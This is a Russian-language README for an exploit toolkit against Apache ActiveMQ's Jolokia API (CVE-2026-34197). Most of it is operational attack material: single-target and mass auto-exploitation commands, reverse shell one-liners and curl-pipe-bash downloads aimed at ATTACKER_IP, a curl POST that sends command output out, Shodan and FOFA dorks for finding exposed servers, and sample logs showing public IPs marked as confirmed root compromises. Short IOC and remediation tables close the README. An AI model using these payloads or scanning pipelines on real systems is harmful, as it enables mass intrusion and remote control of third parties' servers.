Эксплойт для Apache ActiveMQ RCE через Jolokia API (CVE-2026-34197) с захватом вывода команд, массовым сканированием и автоматической эксплуатацией.
Обзор • Детали • Вектор атаки • Быстрый старт • Руководство по ATTACKER_IP • Использование • Захват вывода • Сканер • Поиск • Обнаружение • Устранение
CVE-2026-34197 — это критическая уязвимость удалённого выполнения кода (RCE) в Apache ActiveMQ Classic, которая позволяет аутентифицированному злоумышленнику выполнять произвольные команды операционной системы через Jolokia API, доступный в веб-консоли.
Уязвимость существует уже более 13 лет и кроется во взаимодействии между Jolokia (HTTP-JMX мост), MBeans ActiveMQ, сетевыми коннекторами и VM-транспортом.
[!CAUTION] Это первый публичный PoC, разработанный KONDOR DEV SECURITY. Используйте только в авторизованных оценках безопасности.
id, whoami, cat /etc/passwd) автоматически отображают свой вывод в вашем терминалеversion_check.py) — многопоточное определение версии + целевая эксплуатация| ID CVE | CVE-2026-34197 |
| Серьёзность | |
| Тип | Удалённое выполнение кода (RCE) |
| CWE | CWE-20 (Некорректная проверка входных данных) / CWE-94 (Внедрение кода) |
| Затронутые версии | ActiveMQ Classic < 5.19.4 и 6.0.0 — 6.2.2 |
| Исправлено в | 5.19.4 / 6.2.3 |
| Требуется аутентификация | Да (часто используются учётные данные по умолчанию admin:admin) |
| Без аутентификации | 6.0.0 — 6.1.1 (из-за CVE-2024-32114) |
| Порт по умолчанию | 8161 (веб-консоль) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Пошаговый разбор
| Шаг | Действие | Компонент |
|:----:|--------|-----------|
| **1** | Атакующий отправляет POST-запрос на `/api/jolokia/`, вызывая `addNetworkConnector` на MBean-объекте Broker | Jolokia API |
| **2** | ActiveMQ обрабатывает URI транспорта `vm://` и создаёт временный брокер с `brokerConfig`, указывающим на удалённый URL | VM Transport |
| **3** | Схема `xbean:` инициирует загрузку Spring XML-файла конфигурации с сервера атакующего | Spring / XBean |
| **4** | Spring создаёт все бины из XML, включая тот, который вызывает `Runtime.getRuntime().exec()` | Spring Context |
| **5** | Для простых команд вывод перехватывается и отправляется обратно через HTTP POST на прослушивающий сервер атакующего (автоматически) | Output Capture |
---
## Структура проекта```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### Лабораторная среда (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### Сканер + Авто-эксплуатация (рекомендуется для массовых целей)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP (-l / --lhost)Параметр -l (или --lhost) критически важен для работы эксплойта. Он указывает IP-адрес, на котором ваша машина будет обслуживать вредоносную Spring XML-нагрузку. Целевой сервер ActiveMQ должен иметь возможность достичь этого IP по сети, чтобы загрузить нагрузку.
ATTACKER_IP?Когда эксплойт срабатывает, он сообщает ActiveMQ: «Загрузи свою конфигурацию с http://ATTACKER_IP:8888/payload.xml». Затем ActiveMQ выполняет исходящий HTTP-запрос к вашей машине. Если он не может до вас достучаться, эксплойт молча завершается неудачей.```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### Как определить ваш `ATTACKER_IP`
| Сценарий | Как его найти | Пример |
|----------|---------------|---------|
| **Локальная сеть** (лаборатория, внутренний пентест) | Ваш локальный/частный IP | `ip a` → `192.168.1.50` |
| **VPN** (HTB, THM, внутренняя сеть) | IP вашего VPN-туннеля | `ip a show tun0` → `10.10.14.23` |
| **Удалённая цель через Интернет** | Ваш публичный IP | `curl ifconfig.me` → `203.0.113.42` |
| **Облачный VPS** (атака с сервера) | Публичный IP VPS | Проверьте панель управления вашего облачного провайдера |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| Ошибка | Почему не работает | Исправление |
|---|---|---|
Использование 127.0.0.1 или localhost | Цель пытается загрузить файл с самой себя, а не с вас | Используйте ваш реальный сетевой IP-адрес |
Использование частного IP (192.168.x.x) для цели в Интернете | Цель не может маршрутизировать запросы в вашу частную сеть | Используйте ваш публичный IP или VPS |
Использование публичного IP, но порт 8888 заблокирован | Брандмауэр/NAT отбрасывает входящее соединение от цели | Откройте порт 8888 в брандмауэре/роутере или используйте -lp с открытым портом |
Использование IP-адреса неправильного интерфейса (например, eth0 вместо tun0) | Цель не может достичь этого сетевого сегмента | Выберите интерфейс, у которого есть маршрут до цели |
Перед запуском эксплойта убедитесь, что цель может достичь вашего слушателя:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### Проброс портов (сценарии NAT)
Если вы находитесь за роутером/NAT и атакуете цель, доступную из Интернета:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### Полный пример рабочего процесса```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT] IP-адрес
ATTACKER_IPв параметре-lи внутри команд reverse shell (/dev/tcp/ATTACKER_IP/4444) должен быть одним и тем же доступным IP-адресом. Если вы укажете другой IP-адрес в команде reverse shell, оболочка подключится не туда.
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### Массовое сканирование (несколько целей)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
The targets.txt file should contain one URL per line:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
Возможности массового сканирования:
- **Авто-дедупликация** — дублирующиеся URL удаляются автоматически
- **Единый HTTP-сервер** — сервер полезной нагрузки запускается один раз и переиспользуется для всех целей
- **Резервная аутентификация** — если учетные данные не сработали (401), автоматически выполняется повторная попытка без аутентификации (CVE-2024-32114)
- **Случайные имена коннекторов** — позволяет избежать конфликтов регистрации JMX между целями
- **Инкрементальное сохранение** — уязвимые цели сохраняются немедленно (безопасно для Ctrl+C)
- **Поддержка HTTPS** — работает как с HTTP-, так и с HTTPS-целями
### Обратные оболочки
Обратные оболочки и команды со специальными символами (`>`, `&`, `|`, `;`, `$` и т. д.) **автоматически кодируются в base64**, чтобы избежать проблем с экранированием XML/оболочки.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Примечание: Запустите ваш слушатель перед выполнением эксплойта:
nc -lvnp 4444
Оба скрипта exploit.py и version_check.py могут автоматически захватывать и отображать вывод команд для простых команд, таких как id, whoami, cat /etc/passwd, hostname и т.д.
Когда вы выполняете простую команду, эксплойт автоматически оборачивает её, чтобы отправить stdout/stderr обратно на ваш слушатель через HTTP POST:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### Пример с выводом```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| Тип команды | Пример | Поведение |
|---|---|---|
| Простые команды | id, whoami, cat /etc/passwd, ls -la, uname -a | Вывод захватывается и отображается автоматически |
| Реверс-шеллы | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | Определяются как интерактивные — без обёртки, работают как раньше |
| Команды с curl/wget | curl http://..., wget http://... | Определяются как интерактивные — без обёртки, чтобы избежать помех |
Определение происходит автоматически. Вам не нужно передавать дополнительные флаги.
Для захвата вывода требуется curl или wget на целевой системе. Если ни одного из них нет:
[!TIP] В большинстве систем Linux (и в Docker-образах ActiveMQ)
curlпредустановлен. Если захват вывода завершается по таймауту, но RCE подтверждён, скорее всего, на цели отсутствуют иcurl, иwget.
| Флаг | Описание | По умолчанию |
|---|---|---|
-t, --target | URL одной цели | — |
-T, --targets-file | Файл с URL целей (по одному в строке) | — |
-l, --lhost | IP атакующего для раздачи пейлоада | обязательно |
-lp, --lport | Локальный порт HTTP-сервера | 8888 |
-c, --command | Команда ОС для выполнения | обязательно |
-u, --user | Имя пользователя Jolokia | admin |
-p, --password | Пароль Jolokia | admin |
--no-auth | Пропустить аутентификацию | false |
--broker-name | Переопределение имени брокера | автоопределение |
-o, --output | Файл вывода для уязвимых целей | vulnerables.txt |
--timeout-wait | Секунды ожидания загрузки пейлоада | 15 |
Примечание:
-tи-Tвзаимоисключающие. Используйте что-то одно.
version_check.py)Рекомендуемый инструмент для множества целей. Конвейер из 2 фаз, который сначала определяет версии ActiveMQ на всех целях (быстро, многопоточно), а затем автоматически эксплуатирует только уязвимые с реальной проверкой RCE через обратный вызов пейлоада.
version_check.py, а когда exploit.py| Сценарий | Инструмент | Почему |
|---|---|---|
| У вас есть список целей, и вы хотите найти уязвимые | version_check.py | Сначала сканирует версии (быстро), затем эксплуатирует только уязвимые |
| Вы хотите сканировать без эксплуатации (только разведка) | version_check.py | Опустите -l/-c для режима только сканирования |
| У вас есть одна подтверждённая цель | exploit.py | Проще, прямое воздействие |
| Вы хотите эксплуатировать один конкретный хост прямо сейчас | exploit.py | Без накладных расходов на сканирование |
| У вас 100+ целей из Shodan/LeakIX | version_check.py | Многопоточная фаза 1 обрабатывает большие списки за секунды |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### Логика классификации версий
Сканер автоматически классифицирует версии на основе затронутых диапазонов:
| Версия | Классификация |
|---------|---------------|
| `< 5.19.4` (например, 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (например, 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` – `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### Пошаговое руководство по использованию
#### Шаг 1 — Подготовьте файл с целями
Создайте `targets.txt` с одним URL на строку. Дубликаты удаляются автоматически.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] Используйте Hunting Guides для поиска целей через Shodan, LeakIX, FOFA, Censys или Google Dorks.
Если вы хотите только определить, какие цели уязвимы, не эксплуатируя их, опустите -l и -c:```bash
python version_check.py -T targets.txt
Это запускает **только Фазу 1**. HTTP-сервер не запускается, полезные нагрузки не отправляются, команды не выполняются. Выходной файл будет содержать информацию о версиях для каждой уязвимой цели:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
Вы можете увеличить скорость сканирования, добавив больше потоков:```bash python version_check.py -T targets.txt --threads 20
#### Шаг 3 — Сканирование + автоматическая эксплуатация (полный конвейер)
Чтобы сканировать **и** эксплуатировать за один запуск, добавьте `-l` (ваш ATTACKER_IP) и `-c` (команду):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
Это запускает обе фазы:
[VULNERABLE] (последовательно, с проверкой обратного вызова)[!IMPORTANT]
ATTACKER_IPдолжен быть доступен с целевых машин. Целевой сервер ActiveMQ выполнит исходящий HTTP-запрос наhttp://ATTACKER_IP:8888/payload.xml. См. руководство по ATTACKER_IP для выбора правильного IP-адреса.
Подтверждённые уязвимые цели сохраняются инкрементально в выходной файл (по умолчанию: confirmados.txt):```
http://52.234.160.12:8161 | 5.15.9 | admin
Формат: `URL | версия | метод_аутентификации`. Затем вы можете использовать их по отдельности с `exploit.py` для дальнейшей пост-эксплуатации.
### Примеры использования```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP в version_check.pyПараметр -l ведёт себя точно так же, как в exploit.py, но с одним ключевым отличием: HTTP-сервер запускается один раз и переиспользуется для всех целей на этапе 2.```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**Фаза 1 НЕ требует `ATTACKER_IP`** — она только запрашивает у Jolokia информацию о версии. Вы можете запустить Фазу 1 отдельно для разведки, не раскрывая свой IP.
**Фаза 2 требует `ATTACKER_IP`** — цели должны иметь доступ к вашему HTTP-серверу, чтобы загрузить полезную нагрузку. Если цель не может до вас достучаться, запрос завершится по таймауту (по умолчанию: 15 с) и будет помечен как «обратный вызов не получен» — но это не обязательно означает, что цель не уязвима (межсетевые экраны могут блокировать исходящий трафик).
### Параметры
| Флаг | Описание | По умолчанию |
|------|-------------|---------|
| `-T, --targets-file` | Файл с URL-адресами целей (по одному в строке) | *обязательно* |
| `-l, --lhost` | IP атакующего для обратного вызова (включает Фазу 2) | — |
| `-c, --command` | Команда для выполнения (включает Фазу 2) | — |
| `-lp, --lport` | Порт локального HTTP-сервера | `8888` |
| `-o, --output` | Выходной файл для подтверждённых целей | `confirmados.txt` |
| `-u, --user` | Имя пользователя Jolokia | `admin` |
| `-p, --password` | Пароль Jolokia | `admin` |
| `--no-auth` | Пропустить аутентификацию | `false` |
| `--threads` | Параллельные потоки для Фазы 1 | `10` |
| `--timeout` | Таймаут на запрос в Фазе 1 | `10s` |
| `--wait` | Секунды ожидания обратного вызова в Фазе 2 | `15s` |
> **Примечание:** Оба параметра `-l` и `-c` должны быть указаны вместе, чтобы включить Фазу 2. Если хотя бы один из них отсутствует, выполняется только Фаза 1 (сканирование).
### Возможности
- **Конвейер из 2 фаз** — сначала быстрое сканирование версий, затем целевая эксплуатация
- **Многопоточная Фаза 1** — сканирует сотни целей за секунды
- **Умное обнаружение брокера** — обрабатывает ответы с подстановочным знаком `brokerName=*`, извлекает реальное имя брокера из ключей MBean
- **Резервная аутентификация** — если `admin:admin` не срабатывает (401), повторяет попытку без аутентификации (CVE-2024-32114)
- **Случайные имена коннекторов** — избегает конфликтов JMX (`rce{random8}` уникален для каждой цели)
- **Автоматическая обёртка base64** — реверс-шеллы и специальные символы работают из коробки
- **Инкрементальное сохранение** — подтверждённые цели сохраняются немедленно (безопасно прерывать через Ctrl+C во время сканирования)
- **Режим только сканирования** — опустите `-l`/`-c`, чтобы просто обнаружить версии без эксплуатации
- **Классификация версий** — помечает `[VULNERABLE]` / `[PATCHED]` на основе затронутых диапазонов
- **Единый HTTP-сервер** — запускается один раз в Фазе 2 и используется для всех целей (без конфликтов портов)
### Реверс-шеллы с `version_check.py`
При использовании `version_check.py` для отправки реверс-шелла вам нужно **две вещи, работающие одновременно**:
1. **Прослушиватель netcat** на вашей машине, ожидающий входящего подключения шелла
2. **Команда `version_check.py`**, которая сканирует и эксплуатирует цели
Порт прослушивателя (`nc -lvnp PORT`) **должен совпадать** с портом внутри команды реверс-шелла (`/dev/tcp/ATTACKER_IP/PORT`).```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### Использование другого порта
Вы можете использовать любой порт, какой захотите, при условии, что обе стороны совпадают:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **Путаница портов, которой следует избегать:** Эксплойт использует **два разных порта** для двух разных целей:
> - `-lp` (по умолчанию `8888`) — порт HTTP-сервера, на котором ActiveMQ загружает XML-полезную нагрузку. Это обрабатывается автоматически скриптом.
> - Порт внутри `/dev/tcp/.../4444` — порт обратного вызова reverse shell, на котором ВЫ слушаете с помощью `nc`. Это ваша обязанность — открыть его.
>
> Они **независимы**. Не путайте их. Вам нужен `nc -lvnp 4444` для оболочки, а скрипт обрабатывает `:8888` внутренне.
### Пример вывода```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| Результат фазы 2 | Что это означает | Следующий шаг |
|---|---|---|
RCE CONFIRMED + Command output: | Цель выполнила команду и отправила вывод обратно | Полный успех — вы можете видеть вывод напрямую |
RCE CONFIRMED (без вывода) | Цель загрузила полезную нагрузку, но вывод не получен | RCE работает, но на цели может отсутствовать curl/wget; используйте reverse shell |
No callback received within Ns | Цель не достигла вашего HTTP-сервера вовремя | Проверьте доступность ATTACKER_IP, межсетевые экраны или увеличьте --wait |
Jolokia accepted (status=200) | Jolokia успешно обработала запрос | Хороший знак — ожидайте callback |
Jolokia status=500: ... | Jolokia вернула ошибку | Может всё ещё работать (загрузка XML может произойти несмотря на 500); проверьте логи |
HTTP 401 | Ошибка аутентификации для этой цели | Цели нужны другие учётные данные |
HTTP 403 | Jolokia ограничена | На цели есть ACL — этот метод не эксплуатируем |
Connection refused / Timeout | Цель недоступна | Сетевая проблема или цель не работает |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## Охота и разведка
Подробные руководства по поиску открытых экземпляров Apache ActiveMQ с помощью **Shodan**, **LeakIX**, **FOFA**, **Censys**, **ZoomEye** и **Google Dorks** — включая даорки для конкретных версий, обнаружение Jolokia, использование CLI/API, шаги проверки целей, правила SIEM/IDS и приоритеты устранения уязвимостей.
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### Быстрые даорки Shodan```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### Проверка цели```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] Полные руководства см. в
docs/— там приведены версионные дорки, геофильтры, примеры API, правила IDS и пошаговые сценарии валидации.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **Примечание:** Часть `rce*` будет содержать случайные символы (например, `rcek4m2x9ab`), поскольку эксплойт рандомизирует имена коннекторов.
### IOC (Индикаторы компрометации)
| Индикатор | Описание |
|-----------|-------------|
| POST `/api/jolokia/` с `addNetworkConnector` | Попытка эксплуатации |
| Исходящий HTTP GET из процесса ActiveMQ | Загрузка XML-пейлоада |
| Исходящий HTTP POST из процесса ActiveMQ (эксфильтрация вывода команд) | Callback для перехвата вывода |
| URI `vm://` с `brokerConfig=xbean:http` | Вредоносный коннектор |
| Неожиданные дочерние процессы от Java/ActiveMQ (`curl`, `wget`, `bash`) | Выполнение команд / эксфильтрация вывода |
---
## Устранение
| Приоритет | Действие |
|----------|-------------|
| **P0** | Обновите ActiveMQ Classic до **5.19.4** или **6.2.3** |
| **P1** | Смените учётные данные веб-консоли по умолчанию |
| **P2** | Ограничьте сетевой доступ к порту **8161** |
| **P3** | Отслеживайте в журналах брокера URI `vm://` с паттернами `xbean:http` |
---
## Устранение неполадок
| Проблема | Вероятная причина | Решение |
|---------|-------------|----------|
